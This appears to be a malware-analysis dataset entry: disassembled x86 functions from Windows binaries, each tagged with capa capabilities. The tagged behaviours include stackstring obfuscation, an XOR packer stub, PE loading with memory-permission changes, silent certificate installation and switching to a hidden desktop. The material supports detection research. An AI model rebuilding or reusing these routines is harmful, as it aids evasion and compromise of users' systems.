joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1111e9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0x1111fee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x1111fee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.01111ff8
test eax, eax
je 0x1111fee
add ebx, 0x28
dec ecx
jne 0x1111fc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0x111209e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x11120c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0x111212e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x11120e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0x111212e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x1112105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0x111212e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x1112123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0x111212e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0x111216b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0x1112172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x11121a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x11121a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x1112dff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.01112f04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.01112f20
push edx
push dword [ebp + 0x10]
push eax
call fcn.01112eec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.01112f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.01112ecb
push ecx
push dword [ebp + 8]
call fcn.01112f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.01112f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.01112ecb
push ecx
push dword [ebp + 8]
call fcn.01112f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.01112f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.01112ecb
push ecx
push dword [ebp + 8]
call fcn.01112f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.01112f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.01112ecb
cmp ecx, 0x2b
jne 0x1112e0f
leave
ret 0xc

Function at 0x11144b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x1114544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x683190
push 0
call dword [eax + 0x20]
test eax, eax
je 0x11145d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x683190
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x683190
call fcn.011143fa
push 0x683190
push dword [ebp + 0xc]
call fcn.011121a8
test eax, eax
jne 0x11145b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x683190
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.011145dd
test eax, eax
je 0x11145d6
jmp 0x1114574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x11145d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x111460b
Capabilities:
Terminate process

Disassembly:
call fcn.01114618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x350d710c
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x7ea3121d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40110b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
lea ebp, [esp - 0x3bc]
sub esp, 0x43c
mov eax, dword [0x4203a0]
push ebx
push edi
push str.Crypt32.dll
mov dword [ebp + 0x3b8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x54], ebx
jne 0x401143
xor eax, eax
jmp 0x4012da
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41a434
push ebx
call esi
push 0x41a41c
push ebx
mov dword [ebp - 0x58], eax
call esi
push 0x41a400
push dword [ebp - 0x54]
mov ebx, eax
call esi
push 0x41a3e0
push dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
call esi
push str.CertAddCertificateContextToStore
push dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
call esi
cmp dword [ebp - 0x58], edi
mov dword [ebp - 0x60], eax
je 0x4012ce
cmp ebx, edi
je 0x4012ce
cmp dword [ebp - 0x50], edi
je 0x4012ce
cmp dword [ebp - 0x4c], edi
je 0x4012ce
cmp eax, edi
je 0x4012ce
push 0x41a3b8
push edi
call ebx
cmp eax, edi
mov dword [ebp - 0x5c], eax
je 0x4012ce
push dword [ebp + 0x3c8]
push dword [ebp + 0x3c4]
push 0x10001
call dword [ebp - 0x4c]
cmp eax, edi
mov dword [ebp - 0x64], eax
jne 0x4011e8
push edi
call dword [ebp - 0x50]
jmp 0x4012ce
push dword [ebp + 0x3d0]
call fcn.0040dd40
mov esi, eax
mov dword [esp], 0x200
lea eax, [ebp - 0x48]
push edi
push eax
call fcn.0040de10
add esp, 0xc
mov ebx, pe_nt_image_headers32
push ebx
lea eax, [ebp - 0x48]
push eax
push esi
push dword [ebp + 0x3d0]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push edi
call esi
push dword [ebp + 0x3d4]
call fcn.0040dd40
mov dword [ebp - 0x4c], eax
mov dword [esp], 0x200
lea eax, [ebp + 0x1b8]
push edi
push eax
call fcn.0040de10
add esp, 0xc
push ebx
lea eax, [ebp + 0x1b8]
push eax
push dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp + 0x3d4]
inc ebx
push ebx
push edi
call esi
push 0x1c
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.0040de10
mov esi, dword [ebp - 0x64]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x1b8]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x3cc]
add esp, 0xc
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x80]
push eax
push edi
push 2
push esi
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
call dword [sym.imp.CRYPT32.dll_CertSetCertificateContextProperty]
test eax, eax
jne 0x4012b7
push esi
call dword [ebp - 0x50]
push edi
push dword [ebp - 0x5c]
call dword [ebp - 0x58]
jmp 0x4012ce
push edi
push 3
push esi
push dword [ebp - 0x5c]
call dword [ebp - 0x60]
push esi
call dword [ebp - 0x50]
push edi
push dword [ebp - 0x5c]
call dword [ebp - 0x58]
mov edi, ebx
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop esi
mov ecx, dword [ebp + 0x3b8]
pop edi
pop ebx
call fcn.0040ddfc
add ebp, 0x3bc
leave
ret
Function at 0x401635
Capabilities:
Hide graphical window

Disassembly:
push ebp
lea ebp, [esp - 0x5cc]
sub esp, 0x64c
mov eax, dword [0x4203a0]
push ebx
push esi
push edi
mov dword [ebp + 0x5c8], eax
push 0xf
xor eax, eax
pop ecx
push dword [0x42ceac]
mov esi, dword [0x421260]
push dword [0x42cea8]
mov byte [ebp + 0x588], 0
lea edi, [ebp + 0x589]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp + 0x288], 0
mov ecx, 0xbf
lea edi, [ebp + 0x289]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x588]
push 0x43a4d4
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040de70
add esp, 0x10
lea eax, [ebp + 0x588]
push eax
push 0xffff
push esi
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x300
lea eax, [ebp + 0x288]
push 0
push eax
call fcn.0040de10
lea eax, [ebp + 0x288]
push 0x43b514
push eax
call fcn.0040dc50
mov esi, dword [ebp + 0x5dc]
imul esi, esi, 0x3ec
add esi, 0x421268
add esp, 0x14
cmp dword [esi + 0x3c0], 2
lea eax, [esi + 0x3c4]
mov dword [ebp - 0x80], eax
jne 0x40170f
push 0x43a694
jmp 0x401714
push 0x43a6d4
push eax
call fcn.0040dc40
pop ecx
pop ecx
lea edi, [esi + 0x2c0]
push edi
lea ebx, [esi + 0x340]
push ebx
lea eax, [esi + 0x100]
push eax
push esi
lea ecx, [esi + 0x220]
push ecx
lea edx, [esi + 0x200]
push edx
push 0
push dword [esi + 0x3e8]
push dword [esi + 0x3e4]
call fcn.0040135f
lea eax, [esi + 0x220]
push eax
lea eax, [esi + 0x200]
push eax
lea eax, [esi + 0x100]
push eax
push esi
push dword [ebp - 0x80]
lea eax, [ebp + 0x288]
push edi
push ebx
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0040de70
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
add esp, 0x48
lea eax, [ebp - 0x78]
push eax
push 0x3f5
push dword [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 5
push 0x3f1
push dword [ebp - 0x7c]
call esi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call edi
push 0
push 0x482
push dword [ebp - 0x7c]
call esi
mov ebx, dword [sym.imp.USER32.dll_EnableWindow]
push eax
call ebx
push 0
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call ebx
cmp dword [ebp + 0x5d8], 1
ja 0x4017fe
push 0
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call edi
push 0
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call edi
jmp 0x401852
push 5
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call edi
push 5
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call edi
cmp dword [ebp + 0x5dc], 0
jbe 0x401834
push 1
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call ebx
mov eax, dword [ebp + 0x5d8]
dec eax
cmp dword [ebp + 0x5dc], eax
jae 0x401852
push 1
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call ebx
mov ecx, dword [ebp + 0x5c8]
pop edi
pop esi
pop ebx
call fcn.0040ddfc
add ebp, 0x5cc
leave
ret
Function at 0x401c1f
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x4203a0]
mov dword [ebp - 4], eax
mov eax, dword [0x42ceac]
dec eax
push esi
push edi
js 0x401d57
imul eax, eax, 0x3ec
add eax, 0x421268
mov esi, eax
je 0x401d57
lea eax, [ebp - 0x16c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x16c]
push eax
call fcn.0040dd40
cmp byte [ebp + eax - 0x16d], 0x5c
pop ecx
je 0x401c87
lea eax, [ebp - 0x16c]
push eax
call fcn.0040dd40
pop ecx
lea eax, [ebp - 0x16c]
push str.lkj_evwrlkj123oiu83.cer
push eax
call fcn.0040dc50
pop ecx
pop ecx
push 0x17
pop ecx
push dword [esi + 0x3e8]
mov byte [ebp - 0x64], 0
push dword [esi + 0x3e4]
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
stosb byte es:[edi], al
call dword [sym.imp.CRYPT32.dll_CertCreateCertificateContext]
mov esi, eax
test esi, esi
je 0x401d69
lea eax, [ebp - 0x16c]
push 0x41a4c0
push eax
call fcn.0040e628
mov edi, eax
push edi
push 1
push dword [esi + 8]
push dword [esi + 4]
call fcn.0040e580
push edi
call fcn.0040e420
push edi
call fcn.0040e26f
add esp, 0x20
push esi
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
lea eax, [ebp - 0x64]
push str.cryptext.dll_CryptExtOpenCER
push eax
call fcn.0040dc40
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dc50
push 0
lea eax, [ebp - 0x64]
push eax
push 0x41a49c
push 0x41a498
push str.rundll32.exe
push 1
call fcn.0040e20d
add esp, 0x28
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401d69
push 0xffffffffffffffff
push 0x43a714
push dword [ebp + 8]
call fcn.00402f6b
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.0040ddfc
leave
ret
Function at 0x4035e7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x4203a0]
push ebx
push esi
push edi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x17
mov dword [ebp - 4], eax
xor edx, edx
pop ecx
xor eax, eax
mov byte [ebp - 0x64], dl
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x60
stosb byte es:[edi], al
lea eax, [ebp - 0x64]
push eax
push 0x460
push dword [ebp + 8]
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edi, 0x43bd70
mov ecx, edi
call fcn.0040202d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, ebx
pop ecx
jb 0x40366a
mov ecx, edi
call fcn.00402030
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, ebx
pop ecx
ja 0x40366a
mov dword [ebp - 0x68], 1
push 0x60
lea eax, [ebp - 0x64]
push eax
push 0x462
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, edi
call fcn.0040202d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, ebx
pop ecx
jb 0x4036b6
mov ecx, edi
call fcn.00402030
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, ebx
pop ecx
ja 0x4036b6
mov dword [ebp - 0x6c], 1
push 0x60
lea eax, [ebp - 0x64]
push eax
push 0x464
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, edi
call fcn.0040202d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, ebx
pop ecx
jb 0x403700
mov ecx, edi
call fcn.00402030
mov edi, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040dd40
cmp eax, edi
pop ecx
ja 0x403700
xor eax, eax
inc eax
jmp 0x403703
mov eax, dword [ebp - 0x70]
and eax, dword [ebp - 0x6c]
and eax, dword [ebp - 0x68]
push eax
push 1
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call fcn.00407502
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0040ddfc
leave
ret
Function at 0x4043d8
Capabilities:
Switch active desktop

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x124
mov eax, dword [0x4203a0]
push ebx
push edi
push 0xda
mov dword [ebp + 0x70], eax
xor ebx, ebx
lea eax, [ebp - 0x8c]
push ebx
push eax
call fcn.0040de10
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [0x438cd8], eax
push 7
xor eax, eax
pop ecx
mov byte [ebp + 0x50], bl
lea edi, [ebp + 0x51]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp + 0x50]
push eax
push ebx
mov dword [ebp - 0x94], 0x20
call fcn.00404708
add esp, 0xc
test eax, eax
jl 0x403c43
push esi
push dword [ebp - 0x94]
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040ded0
mov al, byte [ebp - 0x94]
mov byte [ebp - 0x4c], al
xor eax, eax
inc eax
mov dword [ebp + 1], eax
mov dword [ebp + 5], eax
lea eax, [ebp + 0xd]
push 0x43a8b4
push eax
call fcn.0040dc40
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp + 9], ebx
call fcn.0040a1d7
add esp, 0x18
mov edi, 0x10000000
push edi
push ebx
push ebx
mov esi, str.comydesk20
push esi
call dword [sym.imp.USER32.dll_OpenDesktopA]
cmp eax, ebx
mov dword [0x438cdc], eax
jne 0x403b8e
push ebx
push edi
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateDesktopA]
cmp eax, ebx
mov dword [0x438cdc], eax
je 0x403c42
push str.__cp
call fcn.0040a32c
mov edi, dword [sym.imp.USER32.dll_SwitchDesktop]
pop ecx
push dword [0x438cdc]
call edi
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
mov dword [ebp - 0x90], ebx
jmp 0x403bdf
push ebx
push ebx
push ebx
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0xb0]
push ebx
push eax
call esi
test eax, eax
jne 0x403bb5
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x8c]
push eax
call fcn.0040a235
cmp dword [ebp + 9], ebx
pop ecx
jne 0x403c1c
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], 0x708
jle 0x403bdf
push dword [0x438cd8]
call edi
push dword [0x438cdc]
call dword [sym.imp.USER32.dll_CloseDesktop]
push dword [0x439918]
mov dword [0x438cdc], ebx
call fcn.00404827
pop ecx
pop esi
mov ecx, dword [ebp + 0x70]
pop edi
pop ebx
call fcn.0040ddfc
add ebp, 0x74
leave
ret
call fcn.00404ff4
test eax, eax
je 0x4043ef
cmp dword [0x43d690], 0
jne 0x4043ef
jmp 0x403a9e
jmp fcn.00404391
Function at 0x4043f4
Capabilities:
Hide graphical window

Disassembly:
push ecx
mov eax, dword [0x4203a0]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push edi
push 0x43a0b4
push 0x3f0
push ebx
mov dword [esp + 0x1c], eax
call esi
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call edi
push 0x43a0f4
push 0x3ee
push ebx
call esi
push eax
call edi
push 0x43a1d4
push 0x474
push ebx
call esi
push eax
call edi
push 0x43a254
push 0x475
push ebx
call esi
push eax
call edi
push 0x43a214
push 0x476
push ebx
call esi
push eax
call edi
push 0x43a294
push 0x477
push ebx
call esi
push eax
call edi
push 0x43b174
push 0x479
push ebx
call esi
push eax
call edi
mov ecx, 0x43bd70
call fcn.00402038
push eax
push 0x432
push ebx
call esi
push eax
call edi
push 0x43b0f4
push 0x449
push ebx
call esi
push eax
call edi
push 0x43aeb4
push 0x3e8
push ebx
call esi
push eax
call edi
push 0x43adb4
push 0x3ec
push ebx
call esi
push eax
call edi
push 0x43a934
push 0x3ef
push ebx
call esi
push eax
call edi
push 0x43a8b4
push 0x3ed
push ebx
call esi
push eax
call edi
push 0x43b3f4
push 0x3eb
push ebx
call esi
push eax
call edi
push 0x43a394
push 0x467
push ebx
call esi
push eax
call edi
push 0x43ae34
mov ebp, 0x3fd
push ebp
push ebx
call esi
push eax
call edi
push 0x43ae74
push 0x42b
push ebx
call esi
push eax
call edi
push 0x43aef4
push 0x3fc
push ebx
call esi
push eax
call edi
push 0x43adf4
push 0x3fa
push ebx
call esi
push eax
call edi
push 0x43af14
push 0x447
push ebx
call esi
push eax
call edi
mov ecx, 0x43bd70
call fcn.00402047
push eax
push 0x472
push ebx
call esi
push eax
call edi
push 0x43b074
push 0x448
push ebx
call esi
push eax
call edi
push 0
push ebp
push ebx
call esi
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebp
push 0
push 0x42b
push ebx
call esi
push eax
call ebp
push 0
push 0x3e8
push ebx
call esi
push eax
call ebp
push 0
push 0x3fc
push ebx
call esi
push eax
call ebp
push 0
push 0x3fa
push ebx
call esi
push eax
call ebp
push 0
push 0x489
push ebx
call esi
push eax
call ebp
push 0
push 0x48a
push ebx
call esi
push eax
call ebp
push 0x43acf4
push ebx
call edi
push 5
push 0x3e8
push ebx
call esi
push eax
call ebp
push 5
push 0x3fc
push ebx
call esi
push eax
call ebp
push 5
push 0x3fa
push ebx
call esi
push eax
call ebp
push 0
push 0x478
push ebx
call esi
push eax
call ebp
push 0
push 0x449
push ebx
call esi
push eax
call ebp
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 4
jmp fcn.0040ddfc